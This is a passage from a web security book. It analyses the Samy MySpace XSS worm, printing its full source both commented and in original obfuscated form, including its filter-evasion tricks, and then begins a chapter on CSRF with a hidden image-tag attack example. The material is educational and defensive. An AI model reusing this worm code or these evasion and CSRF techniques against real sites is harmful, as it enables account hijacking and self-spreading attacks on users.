background image and change colors, while attempting to disallow JavaScript because 
of the potential for abuse such as cross-site scripting (XSS).

The authors do not know Samy personally, but he has placed some very informative 
commentary about himself at http://namb.la/. Apparently, Samy initially liked to log in 
to MySpace to check out “hot girls.” After a little while he created his own page on 
MySpace, but he was frustrated by MySpace’s security-imposed limitations. His curiosity 
fueled him to poke at these imposed limitations.

Samy applied a mischievous idea from classic viruses to XSS that shook up the web 
security community. Instead of luring a victim to an XSS vulnerability by himself, Samy 
decided to use his XSS vulnerability to spread itself like a classic worm. The Samy worm 
was extremely successful. It infected more than 1 million MySpace accounts in 16 hours 
and forced MySpace to shut down for a few hours to contain the problem.

In this Case Study, we identify the HTML injection Samy found and thoroughly 
discuss how he used the HTML injection to create an XSS worm. 

In general, any web application that provides some sort of networking feature (e-mail, 
comments, blog posts, instant messaging) will be vulnerable to this sort of attack if an attacker 
finds an HTML injection. Hopefully, this case study will reinforce the importance of preventing 
XSS in web applications.

FINDING SCRIPT INJECTION IN MYSPACE
As noted in Chapter 2, the first step to performing an XSS is to find a script injection 
on the domain that you want to attack. In this case, Samy looked for a script injection 
on www.myspace.com (or, equivalently, profile.myspace.com). 

He found a script injection in his MySpace page by inserting an HTML div element with 
a background image into the “Heros” section of his profile page. Here’s the script injection:

<div id=mycode style="background: url('java

script:eval(document.all.mycode.expr)')" expr="alert(1)"></div>

Note that the javascript protocol handler has a line break in it. Interestingly, IE 
does not delimit words with line breaks, so this 

java

script:alert(1)

www.myspace.com
www.myspace.com
http://namb.la/
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is interpreted as javascript:alert(1) by IE. Thus, the preceding code executed 
alert(1). Note that Samy placed something a little more elaborate than simply 
alert(1) in the expr parameter. The actual attack code in the expr parameter is 
discussed in the next section.

Samy initially placed the div element with the script injection in his MySpace page. 
When a MySpace user visited Samy’s page, that user would execute the attack code. The 
attack code would automatically insert itself into the victim’s profile page, so anyone 
who visits any victimized profile page will become yet another victim. Needless to say, 
the worm spread fast, infecting 1 million users in less than 20 hours.

WRITING THE ATTACK CODE
The attack code performed three main tasks. First, it injected itself (the script injection 
and attack code) into the victim’s profile page. So if a user visited any victimized MySpace 
profile page, the user would also become a victim/vector and help spread the worm. 
This was the worm aspect of the Samy worm, because it initially started on Samy’s profile 
page and then spread to profile pages of Samy’s visitors, then spread to the visitors 
visiting Samy’s visitors, and so forth. This method of spreading the script injection and 
the attack code is extremely fast. In fact, this worm grows at an exponential rate. We call 
this part of the Samy worm the transport.

After Samy created an extremely fast transport that spread and executed JavaScript 
to many MySpace users, he needed to create a payload that performed something 
malicious. Samy’s choice of payload was relatively kind and humorous. The payload 
performed two tasks: it added “but most of all, samy is my hero” to the Heros section of 
the victim’s Profile page, and it forced the victim to send a friend request to Samy’s 
profile, that is add Samy as a friend. 

We present the unobfuscated Samy worm describing the code in detail; the main 
code first and the supporting code afterwards.

Important Code Snippets in SAMY
The script injection sets up some key variables. It attempts to grab the victim’s Mytoken
and friendID tokens. These two tokens are necessary to perform client state changes. 
The friendID token is the victim’s unique user identifier and Mytoken is a cross-site 
request forgery (CSRF) prevention token. (CSRF is discussed in detail in Chapter 3.)

// These are some key variables, like the XMLHttpRequest object, the 

// "Mytoken" CSRF prevention token, and the victim's "friendID". The

// "Mytoken" and "friendID" are required for the worm to make requests on

// the victim's behalf.

var xmlHttpRequest;

var queryParameterArray = getQueryParameters();

var myTokenParameter = queryParameterArray['Mytoken'];

var friendIdParameter = queryParameterArray['friendID'];
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The setup code creates key strings to inject the script and attack code into the victim’s 
profile page. An important string to track is the heroCommentWithWorm string because it 
contains the script injection and the attack code. When this string is injected into the 
victim’s profile page, the victim will be infected and begin to spread the worm farther.

// The next five variables searches for Samy's code in the current page.

// I.e. all of the code you are reading now. The code will then be inserted

// into the victim's page so that so that people who visit a victim's page 

// will also become a victim.

var htmlBody = getHtmlBody();

// Mark the beginning of the script injection and attack code.

var myCodeBlockIndex = htmlBody.indexOf('m' + 'ycode');
var myRoughCodeBlock = htmlBody.substring( myCodeBlockIndex, 

    myCodeBlockIndex + 4096);
var myCodeBlockEndIndex = myRoughCodeBlock.indexOf('d' + 'iv'); 
// Mark the ending of the script injection and attack code.

// myCodeBlock ends with "</" which doesn't really matter because Samy adds 

// "div>" when creating the "heroCommentWithWorm" variable.

var myCodeBlock = myRoughCodeBlock.substring(0, myCodeBlockEndIndex); 

// This variable is populated with the worm code that is placed into the 

// victim's page so that anyone visiting the victim's page will become

// victim's themselves.

var heroCommentWithWorm;

if (myCodeBlock) {

  // Apparently, MySpace dissallowed user input with strings like

  // "java", "div", and "expr". That is why those string are broken

  // below.

  myCodeBlock = myCodeBlock.replace('jav' + 'a', singleQuote + 'jav' + 'a');
  myCodeBlock = myCodeBlock.replace('exp' + 'r)', 'exp' + 'r)' + singleQuote);
  // The variable below holds a cute comment, the script injection, and the

  // attack code. This string is added to the victim’s profile page.

  heroCommentWithWorm = ' but most of all, samy is my hero. <d' + 'iv id=' +
      myCodeBlock + 'd' + 'iv>';
}

Next, the attack code checks whether it is running on http://profile.myspace.com or 
www.myspace.com. If the script is running on http://profile.myspace.com, the script 
redirects the user to reload the script (itself) from www.myspace.com. Generally, this is 
done because of Same Domain Policy restrictions or the need to go to a different web 
server that has different functionality.

// This is a redirect. Essentially, if the current page came from 

// "profile.myspace.com", then the code below makes the identical 

// request to 

// "www.myspace.com". This could be due to some Same Domain Policy 

www.myspace.com
http://profile.myspace.com
www.myspace.com
http://profile.myspace.com
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// restriction.

if(location.hostname == 'profile.myspace.com') {

  document.location='http://www.myspace.com' + location.pathname +
      location.search;

} else {

      // Now that we are on the correct "www.myspace.com", let's start 

      // spreading this worm. First, ensure that we have the friendID.

  if (!friendIdParameter) {

    getCoreVictimData(getHtmlBody());

  }

  // Now let's do the damage.

  main();

}

Now the victim runs the main() function. Unfortunately, Samy did not design the 
cleanest code. The main() function sets up some more variables just like some of the 
global variables already set once, or if the redirect occurred, twice. The main() function 
starts a chain of XMLHttpRequests that performs actions on the victim’s behalf to change 
the victim’s profile page. The XMLHttpRequests are chained together by their callback 
functions. Finally, main() makes one last request to add Samy to the victim’s friends list. 
It’s not the cleanest design, but it works.

// This is Samy's closest attempt to a core routine. However, he uses many 

// global function calls and horribly misuses XMLHttpRequest's callback to

// chain all of the requests together.

function main() {

  // grab the victim's friendID. The "FriendID" and the "Mytoken" value are

  // required for the worm to make requests on the Victim's behalf.

  var friendId = getVictimsFriendId();

  var url = '/index.cfm?fuseaction=user.viewProfile&friendID=' + friendId +
      '&Mytoken=' + myTokenParameter; 
  xmlHttpRequest = getXMLObj();

  // This request starts a chain of HTTP requests. Samy uses the callback 

  // function in XMLHttpRequest to chain numerous requests together. The 

  // first request simply makes a request to view the user's profile in

  // order to see if "samy" is already the victim's hero.

  httpSend(url, analyzeVictimsProfile, 'GET');

  xmlhttp2 = getXMLObj();

  // This adds user "11851658" (Samy) to the victim's friend list.

  httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&" +
      "Mytoken=' + myTokenParameter, addSamyToVictimsFriendsList, 'GET');
}
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The most interesting line above is httpSend(url, analyzeVictimsProfile, 
'GET');, because it starts the chain of XMLHttpRequests that ultimately adds all the 
JavaScript code into the victim’s profile page. The first request simply loads up the 
victim’s profile page. The next function, analyzeVictimsProfile(), handles the 
HTTP response, and is shown here:

// This function reviews Samy's first request to the victim's main "profile"

// page. The code checks to see if "samy" is already a hero. If his is not 

// already the victim's hero, the code does the first step to add samy as a 

// hero, and more importantly, injects the worm in the victim's profile 

// page. The second step is performed in postHero().

function analyzeVictimsProfile() {

      // Standard XMLHttpRequest check to ensure that the HTTP request is 

      // complete.

  if (xmlHttpRequest.readyState != 4) {

    return;

  }

  // Grab the victim's "Heros" section of their main page.

  var htmlBody = xmlHttpRequest.responseText;

  heroString = subStringBetweenTwoStrings(htmlBody, 'P' + 'rofileHeroes', 
     '</td>');

  heroString = heroString.substring(61, heroString.length);

  // Check if "samy" is already in the victim's hero list. Only add the worm

  // if it's not already there.

  if (heroString.indexOf('samy') == -1) {

    if (heroCommentWithWorm) {

      // take the user's original hero string and add "but most of all, 

      // samy is my hero.", the script injection and the attack code.

      heroString += heroCommentWithWorm;
      // grab the victim's Mytoken. Mytoken is MySpace's CSRF protection

      // token and is required to make client state change requests.

      var myToken = getParameterFromString(htmlBody, 'Mytoken');

      // Create the request to add samy as the victim's hero and most 

      // importantly inject this script into the victim's page.

      var queryParameterArray = new Array();

      queryParameterArray['interestLabel'] = 'heroes'; 

      queryParameterArray['submit'] = 'Preview';

      queryParameterArray['interest'] = heroString;

      xmlHttpRequest = getXMLObj();

      // Make the request to preview the change. After previewing:

      //  - grab the "hash" token from the preview page (required to perform 
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      //    the final submission)

      //  - run postHero() to finally submit the final submit to add the 

      //    worm to the victim.

      httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken=' +
          myToken, postHero, 'POST', 

          parameterArrayToParameterString(queryParameterArray));

      }

    }

  }

Note that the function above first checks whether the victim has already been victimized. 
If not, it grab’s the victim’s Mytoken, and begins the first step (of two) to add Samy to the 
victim’s Heros section, and it injects the script injection and attack code into the victim’s 
profile page, too. It does so by performing the profile.previewInterests action on 
MySpace with the worm code, appropriate friendID, and appropriate Mytoken. The 
next step runs postHero(), which grabs a necessary hash token and submits the final 
request to add Samy as the victim’s hero and add the script injection and attack code to the 
victim’s profile page.

// postHero() grabs the "hash" from the victims's interest preview page. 

// performs the final submission to add "samy" (and the worm) to the 

// victim's profile page.

function postHero() {

  // Standard XMLHttpRequest check to ensure that the HTTP request is

  // complete.

  if (xmlHttpRequest.readyState != 4) {

    return;

  }

  var htmlBody = xmlHttpRequest.responseText;

  var myToken = getParameterFromString(htmlBody, 'Mytoken');

  var queryParameterArray = new Array();

  // The next 3 array elements are the same as in analyzeVictimsProfile()

  queryParameterArray['interestLabel'] = 'heroes';

  queryParameterArray['submit'] = 'Submit';

  queryParameterArray['interest'] = heroString;

  // The "hash" parameter is required to make the client state change to add 

  queryParameterArray['hash'] = getHiddenParameter(htmlBody, 'hash');

  httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken=' +
      myToken, nothing, 'POST', 

      parameterArrayToParameterString(queryParameterArray));

  }
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This code is pretty straightforward. postHero() performs a similar request as 
analyzeVictimsProfile(), except it adds the hash value acquired by the preview 
action and sends the final request to add the attack code to MySpace’s profile
.processInterests action. postHero() concludes the XMLHttpRequest chain. 
Now the victim has “but most of all, samy is my hero” in his or her Hero’s section with the 
script injection and attack code hidden in the victim’s profile page awaiting more victims.

The main()function also performs another XMLHttpRequest to add Samy to the 
victim’s friend list. This request is performed by the following function:

// This function adds user "11851658" (a.k.a. Samy) to the victim's friends 

// list. 

function addSamyToVictimsFriendsList() {

  // Standard XMLHttpRequest check to ensure that the HTTP request is

  // complete.

  if (xmlhttp2.readyState!=4) {

        return;

  }

  var htmlBody = xmlhttp2.responseText;

  var victimsHashcode = getHiddenParameter(htmlBody, 'hashcode');

  var victimsToken = getParameterFromString(htmlBody, 'Mytoken');

  var queryParameterArray = new Array(); 

  queryParameterArray['hashcode'] = victimsHashcode;

  // Samy's (old) ID on MySpace

  queryParameterArray['friendID'] = '11851658';

  queryParameterArray['submit'] = 'Add to Friends';

  // the "invite.addFriendsProcess" action on myspace adds the friendID (in

  // the POST body) to the victim's friends list

  httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken=' +
      victimsToken, nothing, 'POST', 

      parameterArrayToParameterString(queryParameterArray));

}

Again, this function is similar to the previous functions. addSamyToVictimsFriend
sList() simply makes a request action to invite.addFriendsProcess to add user 
11851658 (Samy) to the victimized friend list. This completes the core functionality of 
the SAMY worm. 

Samy’s Supporting Variables and Functions
Some of the functions shown in the preceding code call other functions within the worm. 
For completeness, we present the rest of the worm code. This code contains some interesting 
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tricks to circumvent MySpace’s security controls such as using String.fromCharCode()
and obfuscating blocked strings with string concatenation and the eval() function.

// Samy needed double quotes and single quotes, but was not able to place

// them in the code. So he grabs the characters through

// String.fromCharCode().

var doubleQuote = String.fromCharCode(34); // 34 == "

var singleQuote = String.fromCharCode(39); // 39 == ' 

// Create a TextRange object in order to grab the HTML body of the page that 

// this function is running on. This is equivalent to 

// document.body.innerHTML. 

// Interestingly, createTextRange() is IE specific and since the script 

// injection is IE specific, he could have shorten this code drastically to 

// simply "var getHtmlBody = document.body.createTextRange().htmlText;"

function getHtmlBody() {

  var htmlBody;

  try {

    var textRange = document.body.createTextRange();

    htmlBody = textRange.htmlText;

  } catch(e) {} 

  if (htmlBody) {

    return htmlBody;

  } else { 

    return eval('document.body.inne'+'rHTML');
  }

}

// getCoreVictimData() sets global variables that holds the victim's

// friendID and Mytoken. Mytoken is particular important because it protects

// against CSRF. Of course if there is XSS, then CSRF protection is useless.

function getCoreVictimData(htmlBody) {

  friendIdParameter = getParameterFromString(htmlBody, 'friendID');

  myTokenParameter = getParameterFromString(htmlBody, 'Mytoken');

}

// Grab the query parameters from the current URL. A typical query parameter

// is "fuseaction=user.viewprofile&friendid=SOME_NUMBER&MyToken=SOME_GUID". 

// This returns an Array with index "parameter" and value "value" of a 

// "parameter=value" pair.

function getQueryParameters() {
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 var E = document.location.search; 

 var F = E.substring(1, E.length).split('&');

 var queryParameterArray = new Array();

 for(var O=0; O<F.length; O++) {
   var I = F[O].split('=');

   queryParameterArray[I[0]] = I[1];

 }

 return queryParameterArray;

}

// This is one of many routines to grab the friendID from the body of the

// page.

function getVictimsFriendId() {

 return subStringBetweenTwoStrings(getHtmlBody(), 'up_launchIC( ' +
     singleQuote,singleQuote);

}

// I guess Samy never heard of the JavaScript function "void()". This is

// used for a when Samy wanted to do an HTTP request and did not care about 

// the response (like CSRF).

function nothing() {}

// Convert the queryParameterArray back to a "&" delimited string with some 

// URL encoding. The string is used as the body of POST request that changes

// the viticim's information.

function parameterArrayToParameterString(queryParameterArray) {

  var N = new String();

  var O = 0;

  for (var P in queryParameterArray) {

    if (O>0) {

      N += '&';
    }

    var Q = escape(queryParameterArray[P]);

    while (Q.indexOf('+') != -1) {
      Q = Q.replace('+','%2B');
    }

    while (Q.indexOf('&') != -1) {

      Q = Q.replace('&','%26');

    }

    N += P + '=' + Q;
    O++;



64

  }

  return N;

}

// This is the first of two POST requests that the worm does on behalf of

// the user. This function simply makes a request to "url" with POST body 

// "xhrBody" and runs "xhrCallbackFunction()" when the HTTP response is 

// complete.

function httpSend(url, xhrCallbackFunction, requestAction, xhrBody) {

  if (!xmlHttpRequest) {

    return false

  } 

  // Apparently, Myspace blocked user content with "onreadystatechange", so

  //  Samy used string contentation with eval() to circumvent the blocking.

  eval('xmlHttpRequest.onr' + 'eadystatechange=xhrCallbackFunction');
  xmlHttpRequest.open(requestAction, url, true);

  if (requestAction == 'POST') {

    xmlHttpRequest.setRequestHeader('Content-Type',

        'application/x-www-form-urlencoded');

    xmlHttpRequest.setRequestHeader('Content-Length',xhrBody.length);

  }

  xmlHttpRequest.send(xhrBody);

  return true

}

// Find a string between two strings. E.g if bigStr="1234567890abcdef", 

// strBefore="456", and strAfter="de", then the function returns "789abc".

function subStringBetweenTwoStrings(bigStr, strBefore, strAfter) {

  var startIndex = bigStr.indexOf(strBefore) + strBefore.length; 
  var someStringAfterStartIndex = bigStr.substring(startIndex, startIndex +
      1024);

  return someStringAfterStartIndex.substring(0, 

      someStringAfterStartIndex.indexOf(strAfter));

}

// This function returns the VALUE in HTML tags containing 'name="NAME" 

// value="VALUE"'.

function getHiddenParameter( bigStr, parameterName) {

  return subStringBetweenTwoStrings(bigStr, 'name=' + doubleQuote +
     parameterName + doubleQuote + ' value=' + doubleQuote, doubleQuote);
}

// "bigStr" should contain a string of the form 

// "parameter1=value1&parameter2=value2&parameter3=value3". If
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// "parameterName" is "parameter3", this function will return "value3".

function getParameterFromString( bigStr, parameterName) { 

  var T;

  if (parameterName == 'Mytoken') {

    T = doubleQuote

  } else {

    T= '&'

  }

  var U = parameterName + '=';
  var V = bigStr.indexOf(U) + U.length;
  var W = bigStr.substring(V, V + 1024);
  var X = W.indexOf(T);

  var Y = W.substring(0, X);

  return Y;

}

// This the standard function to initialized XMLHttpRequest. Interestingly,

// the first request attempts to load XMLHttpRequest directly which, at the 

// time, was only for Mozilla based browsers like Firefox, but the initial 

// script injection wasn't even possible with Mozilla based browsers.

function getXMLObj() {

  var xmlHttpRequest = false;

  if (window.XMLHttpRequest) {

    try {

      xmlHttpRequest = new XMLHttpRequest();

    } catch(e){ 

      xmlHttpRequest =false;}

    } else if (window.ActiveXObject) {

      try {

        xmlHttpRequest = new ActiveXObject('Msxml2.XMLHTTP');

      } catch(e){

        try {

          xmlHttpRequest = new ActiveXObject('Microsoft.XMLHTTP');

        } catch (e) {

          xmlHttpRequest=false;

        }

      }

    }

  return xmlHttpRequest;

}

// Populated in analyzeVictimsProfile()

var heroString;
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// This function makes a post request using XMLHttpRequest. When 

// "xhrCallbackFunction" is "nothing()", this entire process could have been 

// written by creating a form object and auto submitting it via submit().

function httpSend2(url, xhrCallbackFunction, requestAction, xhrBody) {

  if (!xmlhttp2) {

        return false;

  // Apparently, Myspace blocked user content with "onreadystatechange", so

  // Samy used string contentation with eval() to circumvent the blocking.

  eval('xmlhttp2.onr' + 'eadystatechange=xhrCallbackFunction');
  xmlhttp2.open(requestAction, url, true);

  if (requestAction == 'POST') {

        xmlhttp2.setRequestHeader('Content-Type', 

            'application/x-www-form-urlencoded');

        xmlhttp2.setRequestHeader('Content-Length',xhrBody.length);

  }

  xmlhttp2.send(xhrBody);

  return true;

}

THE ORIGINAL SAMY WORM
The SAMY worm in its original, terse, and obfuscated form is shown here.

<div id=mycode style="BACKGROUND: url('java 

script:eval(document.all.mycode.expr)')" expr="var 

B=String.fromCharCode(34);var A=String.fromCharCode(39);function g()

{var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e)

{}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function
getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function

getQueryParams(){var E=document.location.search;var F=E.substring

(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++)
{var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var 

AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];

if(location.hostname=='profile.myspace.com'){document.location=

'http://www.myspace.com'+location.pathname+location.search}else{if
(!M){getData(g())}main()}function getClientFID(){return findIn(g(),

'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV)
{var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var
Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}
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while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}
function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'
eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader

('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader

('Content-Length',BK.length)}J.send(BK);return true}function findIn

(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);
return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG)

{return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG)
{var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var
V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var
X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj()

{var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}

catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject

('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}

catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');
var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.
substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');
AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my 
hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if
(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+
'rofileHeroes','</td>');AG=AG.substring(61,AG.length);

if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');
var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';

AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=

profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}
function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var 

AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';

AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter

(AU,'hash');httpSend('/index.cfm?fuseaction=

profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}
function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=

user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();
httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();

httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=

11851658&Mytoken='+L,processxForm,'GET')}function processxForm()
{if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;

var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');

var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';

AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=

invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}
function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval

('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);
if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type',

'application/x-www-form-urlencoded');xmlhttp2.setRequestHeader

('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
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This chapter expands on the discussion of browser security controls and explains a 
series of serious vulnerabilities that can be described as cross-domain attacks.

The attack icon in this chapter represents a flaw, vulnerability, or attack with cross-domain security 
issues.

WEAVING A TANGLED WEB: 
THE NEED FOR CROSS-DOMAIN ACTIONS

As discussed in Chapter 2, a user’s web browser is responsible for enforcing rules on 
content downloaded from web servers to prevent malicious activities against the user or 
other web sites. The general idea behind these protections is called the Same Origin Policy,
which defines what actions can be taken by executable content downloaded from a site 
and protects content downloaded from different origins.

A good example of a disallowed activity is the modification of the Document Object 
Model (DOM) belonging to another web site. The DOM is a programmatic representation 
of a web page’s content, and the modification of a page’s DOM is a key function of the 
client-side component of a Web 2.0 application. However, this kind of modification is not 
allowed across domains, so Asynchronous JavaScript and XML (AJAX) client code is 
restricted to updating content that comes from the same origin as itself.

The fundamental property of the World Wide Web is the existence of hyperlinks 
between web sites and domains, so obviously a certain amount of interaction is allowed 
between domains. In fact, almost every modern web application comprises content 
served from numerous separate domains—sometimes even domains belonging to 
independent or competing entities.

Uses for Cross-Domain Interaction
Let’s look at some legitimate cross-domain interactions that are used by many web sites.

Links and iFrames
The original purpose of the World Wide Web was to provide a medium whereby scientific 
and engineering documents could provide instant access to their references, a purpose 
fulfilled with the hyperlink. The basic text link between sites is provided by the <a> tag, 
like so:

<a href="http://www.example.com/index.html">This is a link!</a>

Images can also be used as links:

<a href="http://www.example.com/index.html">

<img src="/images/link_button.png">

</a>
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JavaScript can be used to open links in new pages, such as this pop-up:

window.open('http://www.example.com','example','width=400,height=300');

Links that open up new windows or redirect the current browser window to a new 
site create HTTP GET requests to the web server. The examples above would create a GET
request resembling this:

GET index.html HTTP/1.1 

Web pages also have the ability to include other web pages in their own window, 
using the iFrame object. iFrames are an interesting study in the Same Origin Policy; sites 
are allowed to create iFrames that link to other domains, and they can then include that 
page in the other domain to their content. However, once a cross-domain iFrame is 
loaded, content in the parent page is not allowed to interact with the iFrame. iFrames 
have been used in a number of security hoaxes, when individuals created pages that 
“stole” a user’s personal content by displaying it in an iFrame on an untrusted site, but 
despite appearances, this content was served directly from the trusted site and was not 
stolen by the attacker. We will discuss malicious use of iFrames later in this chapter.

An iFrame is created with a tag such as this:

<iframe src ="http://www.example.com/default.asp" width="100%">

</iframe>

Image and Object Loading
Many web sites store their images on a separate subdomain, and they often include 
images from other domains. A common example is that of web banner advertisements, 
although many advertisers have recently migrated to cross-domain JavaScript. A classic 
banner ad may look something like this:

<img src='http://banners.irritatingadsinc.com/ad435521.jpg'>

Other types of content, such as Adobe Flash objects, can be sourced across domains:

<object width="500" height="300">

<param name="FlashMovie" value="MyMovie.swf">

<embed src="http://www.somebodystube.com/MyMovie.swf" width="500" 

height="300">

</embed>

</object>

JavaScript Sourcing
Executable script served from a domain separate from that of the web page is allowed to 
be included in a web page. Like the requests in the preceding examples, script tags that 
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point at other domains automatically send whatever cookies the user has for the target 
domain. Cross-domain script sourcing has replaced iFrames and banner images as the 
basic technology underlying the Internet’s major advertising systems. A script tag 
sourcing an advertisement from another domain may look like this:

<script src="http://ads.annoyingpopups.com/?adlink=66433367"></script>

So What’s the Problem?
We’ve discussed the many important ways in which legitimate web applications utilize 
cross-domain communication methods, so you may be wondering how this relates to the 
insecurity of modern web applications. The root cause of this issue comes from the 
origins of the World Wide Web.

Back in the 1980s when he was working at the European research institute CERN, 
Tim Berners-Lee envisioned the World Wide Web as a method for the retrieval of 
formatted text and pictures, with the expressed goal of improving scientific and 
engineering communication. The Web’s basic functionality of information retrieval has 
been expanded multiple times by the World Wide Web Consortium (W3C) and 
other interested standards bodies, with additions such as the HTTP POST function, 
JavaScript, and XMLHTTPRequest. 

Although some thought has gone into the topic of requests that change application 
state (such as transferring money at a bank site or changing a password), the warnings 
such as the one from RFC 2616 (for HTTP) are often ignored. Even if such warnings are 
followed, and a web developer restricts his or her application to accepting only state 
changes via HTTP POST requests, a fundamental problem still exists: Actions performed 
intentionally by a user cannot be distinguished from those performed automatically by the web 
page she is viewing.

Cross-Domain Image Tags
Popularity: 7

Simplicity: 4

Impact: 9

Risk Rating: 8

Let’s look at an example of how difficult it is to differentiate between an intentional user 
action and an automatic cross-domain request. Alice is logged into a social network site, 
http://www.GoatFriends.com, which uses simple <a> tags to perform many of the 
actions on the site. One of the pages on the site contains the list of friend invites the user 
has received, which is coded something like this:

<a href="http://www.GoatFriends.com/addfriend.aspx?UID=3454">Approve Dave!</a>

<a href="http://www.GoatFriends.com/addfriend.aspx?UID=4258">Approve Sally!</a>

<a href="http://www.GoatFriends.com/addfriend.aspx?UID=2189">Approve Bob!</a>

http://www.GoatFriends.com
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If Sally clicks the “Approve Bob” link, her browser will generate a request to www
.GoatFriends.com that looks something like this:

GET http://www.goatfriends.com:80/addfriend.aspx?UID=2189 HTTP/1.1

Host: www.goatfriends.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.3) 

Gecko/20070309 Firefox/2.0.0.3

Accept: image/png,*/*;q=0.5

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Cookie: GoatID=AFj84g34JV789fHFDE879

Referer: http://www.goatfriends.com/

You will notice that this request is authenticated by Alice’s cookie, which was given 
to her after she authenticated with her username and password, and which is persistent 
and valid to the web application for weeks.

What if Sally is a truly lonely person and would like to gather as many friends as 
possible? Knowing that GoatFriends uses a long-lived cookie for authentication, Sally 
could add an image tag to her rather popular blog, pitifulexistence.blogspot.com, such 
as this:

<img src="http://www.GoatFriends.com/addfriend.aspx?UID=4258" 

height=1 width=1>

Every visitor to Sally’s blog would then have his or her browser automatically make 
this image request, and if that browser’s cookie cache includes a cookie for that domain, 
it would automatically be added. As for Alice, her browser would send this request:

GET http://www.goatfriends.com:80/addfriend.aspx?UID=4258 HTTP/1.1

Host: www.goatfriends.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.3) 

Gecko/20070309 Firefox/2.0.0.3

Accept: image/png,*/*;q=0.5

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Cookie: GoatID=AFj84g34JV789fHFDE879

Referer: http://pitifulexistence.blogspot.com/

www.GoatFriends.com
www.GoatFriends.com
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As you can see, these two requests are nearly identical, and as a result, every visitor 
to Sally’s blog who has logged into GoatFriends within the last several weeks will 
automatically add Sally as their friend. Astute readers will notice that the Referer:
header is different with each request, although checking this header to prevent this type 
of attack is not an effective defense, as you will learn a bit later in this chapter.

Finding Vulnerable Web Applications 
We have demonstrated how a simple inclusion of an image tag can be used to hijack a 
vulnerable web application. Unlike some other types of web vulnerabilities, this issue 
may not be considered a “bug” introduced by flawed coding as much as an error of 
omission. The developers of the GoatFriends application designed the application using 
the simplest command structure as possible, possibly to meet goals of simplicity and 
maintainability, and it was their lack of concern for cross-domain mechanisms of invoking 
this method that caused the application to be vulnerable.

What Makes a Web Application Vulnerable?
The attack described above is commonly referred to as Cross-Site Request Forgery (CSRF 
or XSRF), an URL Command Attack, or Session Riding. We will simply refer to it as 
CSRF. So what constitutes an application that is vulnerable to CSRF? In our experience, 
any web application that is designed without specific concern for CSRF attacks will have 
some areas of vulnerability. 

Your application is vulnerable to CSRF if you answer yes to all of the following 
questions:

• Does your application have a predictable control structure? It is extremely rare that 
a web application will use a URL structure that is not highly predictable across 
users. This is not a fl aw by itself; there is little valid engineering benefi t to using 
overly complex or randomized URLs for user interaction.

• Does your application use cookies or integrated browser authentication? The accepted 
